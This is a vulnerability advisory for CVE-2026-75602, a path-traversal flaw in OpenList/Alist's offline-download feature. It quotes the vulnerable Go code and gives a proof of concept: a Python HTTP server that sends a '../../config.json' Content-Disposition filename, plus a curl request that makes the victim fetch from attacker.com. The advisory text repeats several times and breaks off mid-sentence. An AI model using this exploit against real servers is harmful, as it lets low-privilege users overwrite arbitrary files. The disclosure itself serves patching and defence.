CVE-2026-75602

OpenList a file list program that supports multiple storage. Prior to 4.2.3, OpenList's offline-download feature at POST /api/fs/add_offline_download with tool: "SimpleHttp" accepts an attacker-supplied URL and saves its bytes under a per-task temporary directory before transferring them to the user's destination storage. The temporary filename comes from the attacker-controlled Content-Disposition header, is passed from parseFilenameFromContentDisposition in internal/offline_download/http/util.go to filepath.Join(task.TempDir, filename) in SimpleHttp.Run in internal/offline_download/http/client.go, and is opened with os.Create without a containment check. Because filepath.Join cleans .. segments, a non-admin user with PermAddOfflineDownload on any path can traverse out of task.TempDir and create, truncate, or overwrite any file writable by the OpenList process whose parent directory already exists. The server/handles/offline_download.go AddOfflineDownload route uses normal user authentication rather than AuthAdmin, and local-storage destinations fall through tryPutUrl in internal/offline_download/tool/add.go to the vulnerable SimpleHttp.Run path. This issue is fixed in version 4.2.3.

OpenList a file list program that supports multiple storage. Prior to 4.2.3, OpenList's offline-download feature at POST /api/fs/add_offline_download with tool: "SimpleHttp" accepts an attacker-supplied URL and saves its bytes under a per-task temporary directory before transferring them to the user's destination storage. The temporary filename comes from the attacker-controlled Content-Disposition header, is passed from parseFilenameFromContentDisposition in internal/offline_download/http/util.go to filepath.Join(task.TempDir, filename) in SimpleHttp.Run in internal/offline_download/http/client.go, and is opened with os.Create without a containment check. Because filepath.Join cleans .. segments, a non-admin user with PermAddOfflineDownload on any path can traverse out of task.TempDir and create, truncate, or overwrite any file writable by the OpenList process whose parent directory already exists. The server/handles/offline_download.go AddOfflineDownload route uses normal user authentication rather than AuthAdmin, and local-storage destinations fall through tryPutUrl in internal/offline_download/tool/add.go to the vulnerable SimpleHttp.Run path. This issue is fixed in version 4.2.3.

Summary

Alist's offline-download feature (POST /api/fs/add_offline_download with tool: "SimpleHttp") accepts an attacker-supplied URL, fetches it, and saves the bytes under a per-task temp directory before transferring to the user's destination storage. The temp filename is taken from the response's Content-Disposition header (attacker-controlled when the URL points to an attacker HTTP server), passed verbatim to filepath.Join(tempDir, filename), and written via os.Create with no containment check. Go's filepath.Join calls Clean on the result, which collapses .. segments and lets the attacker traverse out of tempDir to write any file the alist process can write.

A non-admin user with PermAddOfflineDownload permission on any path is sufficient.

Affected code

internal/offline_download/http/util.go — filename returned verbatim from header:

func parseFilenameFromContentDisposition(contentDisposition string) (string, error) {
    if contentDisposition == "" {
        return "", fmt.Errorf("Content-Disposition is empty")
    }
    _, params, err := mime.ParseMediaType(contentDisposition)
    if err != nil {
        return "", err
    }
    filename := params["filename"]
    if filename == "" {
        return "", fmt.Errorf("filename not found in Content-Disposition: [%s]", contentDisposition)
    }
    return filename, nil   // ← no traversal stripping
}

internal/offline_download/http/client.go (SimpleHttp.Run):

filename := path.Base(urlPath)                                         // safe
if n, err := parseFilenameFromContentDisposition(resp.Header.Get("Content-Disposition")); err == nil {
    filename = n                                                       // UNSAFE — no sanitization
}
_ = os.MkdirAll(task.TempDir, os.ModePerm)
filePath := filepath.Join(task.TempDir, filename)                      // filepath.Join calls Clean; "../" escapes tempDir
file, err := os.Create(filePath)                                       // arbitrary file create+truncate
_, _ = utils.CopyWithCtx(task.Ctx(), file, resp.Body, fileSize, task.SetProgress)

server/handles/offline_download.go (AddOfflineDownload) is mounted under normal user auth (not AuthAdmin). The only permission check is common.HasPermission(perm, common.PermAddOfflineDownload).

Note: tryPutUrl in internal/offline_download/tool/add.go is a partial bypass for cloud-storage destinations whose driver implements PutURL (e.g., 115 Cloud, PikPak, Thunder). For the local-storage driver — the most common target — tryPutUrl returns errs.NotImplement and execution falls through to the vulnerable SimpleHttp.Run path.

PoC

1. Attacker has any alist account with PermAddOfflineDownload on some path it can write to (e.g. /somefolder).
2. Attacker hosts a small HTTP listener:

from http.server import BaseHTTPRequestHandler, HTTPServer
PAYLOAD = b"any_attacker_controlled_bytes\n"
TRAVERSAL = "../../config.json"   # destination path under /opt/alist/data/
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Disposition", f'attachment; filename="{TRAVERSAL}"')
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
HTTPServer(("0.0.0.0", 80), H).serve_forever()

3. Trigger:

curl -X POST 'http://victim-alist.example/api/fs/add_offline_download' \
  -H 'Authorization: <session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"urls":["http://attacker.com/payload"],"tool":"SimpleHttp","path":"/somefolder","delete_policy":"delete_never"}'

4. Server-side: tempDir = /opt/alist/data/temp/SimpleHttp/<uuid>. filename = "../../config.json". filePath = filepath.Join(tempDir, filename) cleans to /opt/alist/data/config.json. os.Create truncates the existing config; the response body is streamed in.

Impact

The minimal,…

OpenList a file list program that supports multiple storage. Prior to 4.2.3, OpenList's offline-download feature at POST /api/fs/add_offline_download with tool: "SimpleHttp" accepts an attacker-supplied URL and saves its bytes under a per-task temporary directory before transferring them to the user's destination storage. The temporary filename comes from the attacker-controlled Content-Disposition header, is passed from parseFilenameFromContentDisposition in internal/offline_download/http/util.go to filepath.Join(task.TempDir, filename) in SimpleHttp.Run in internal/offline_download/http/client.go, and is opened with os.Create without a containment check. Because filepath.Join cleans .. segments, a non-admin user with PermAddOfflineDownload on any path can traverse out of task.TempDir and create, truncate, or overwrite any file writable by the OpenList process whose parent directory already exists. The server/handles/offline_download.go AddOfflineDownload route uses normal user authentication rather than AuthAdmin, and local-storage destinations fall through tryPutUrl in internal/offline_download/tool/add.go to the vulnerable SimpleHttp.Run path. This issue is fixed in version 4.2.3.

OpenList a file list program that supports multiple storage. Prior to 4.2.3, OpenList's offline-download feature at POST /api/fs/add_offline_download with tool: "SimpleHttp" accepts an attacker-supplied URL and saves its bytes under a per-task temporary directory before transferring them to the user's destination storage. The temporary filename comes from the attacker-controlled Content-Disposition header, is passed from parseFilenameFromContentDisposition in internal/offline_download/http/util.go to filepath.Join(task.TempDir, filename) in SimpleHttp.Run in internal/offline_download/http/client.go, and is opened with os.Create without a containment check. Because filepath.Join cleans .. segments, a non-admin user with PermAddOfflineDownload on any path can traverse out of task.TempDir and create, truncate, or overwrite any file writable by the OpenList process whose parent directory already exists. The server/handles/offline_download.go AddOfflineDownload route uses normal user authentication rather than AuthAdmin, and local-storage destinations fall through tryPutUrl in internal/offline_download/tool/add.go to the vulnerable SimpleHttp.Run path. This issue is fixed in version 4.2.3.

Summary

Alist's offline-download feature (POST /api/fs/add_offline_download with tool: "SimpleHttp") accepts an attacker-supplied URL, fetches it, and saves the bytes under a per-task temp directory before transferring to the user's destination storage. The temp filename is taken from the response's Content-Disposition header (attacker-controlled when the URL points to an attacker HTTP server), passed verbatim to filepath.Join(tempDir, filename), and written via os.Create with no containment check. Go's filepath.Join calls Clean on the result, which collapses .. segments and lets the attacker traverse out of tempDir to write any file the alist process can write.

A non-admin user with PermAddOfflineDownload permission on any path is sufficient.

Affected code

internal/offline_download/http/util.go — filename returned verbatim from header:

func parseFilenameFromContentDisposition(contentDisposition string) (string, error) {
    if contentDisposition == "" {
        return "", fmt.Errorf("Content-Disposition is empty")
    }
    _, params, err := mime.ParseMediaType(contentDisposition)
    if err != nil {
        return "", err
    }
    filename := params["filename"]
    if filename == "" {
        return "", fmt.Errorf("filename not found in Content-Disposition: [%s]", contentDisposition)
    }
    return filename, nil   // ← no traversal stripping
}

internal/offline_download/http/client.go (SimpleHttp.Run):

filename := path.Base(urlPath)                                         // safe
if n, err := parseFilenameFromContentDisposition(resp.Header.Get("Content-Disposition")); err == nil {
    filename = n                                                       // UNSAFE — no sanitization
}
_ = os.MkdirAll(task.TempDir, os.ModePerm)
filePath := filepath.Join(task.TempDir, filename)                      // filepath.Join calls Clean; "../" escapes tempDir
file, err := os.Create(filePath)                                       // arbitrary file create+truncate
_, _ = utils.CopyWithCtx(task.Ctx(), file, resp.Body, fileSize, task.SetProgress)

server/handles/offline_download.go (AddOfflineDownload) is mounted under normal user auth (not AuthAdmin). The only permission check is common.HasPermission(perm, common.PermAddOfflineDownload).

Note: tryPutUrl in internal/offline_download/tool/add.go is a partial bypass for cloud-storage destinations whose driver implements PutURL (e.g., 115 Cloud, PikPak, Thunder). For the local-storage driver — the most common target — tryPutUrl returns errs.NotImplement and execution falls through to the vulnerable SimpleHttp.Run path.

PoC

1. Attacker has any alist account with PermAddOfflineDownload on some path it can write to (e.g. /somefolder).
2. Attacker hosts a small HTTP listener:

from http.server import BaseHTTPRequestHandler, HTTPServer
PAYLOAD = b"any_attacker_controlled_bytes\n"
TRAVERSAL = "../../config.json"   # destination path under /opt/alist/data/
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Disposition", f'attachment; filename="{TRAVERSAL}"')
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
HTTPServer(("0.0.0.0", 80), H).serve_forever()

3. Trigger:

curl -X POST 'http://victim-alist.example/api/fs/add_offline_download' \
  -H 'Authorization: <session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"urls":["http://attacker.com/payload"],"tool":"SimpleHttp","path":"/somefolder","delete_policy":"delete_never"}'

4. Server-side: tempDir = /opt/alist/data/temp/SimpleHttp/<uuid>. filename = "../../config.json". filePath = filepath.Join(tempDir, filename) cleans to /opt/alist/data/config.json. os.Create truncates the existing config; the response body is streamed in.

Impact

The minimal,…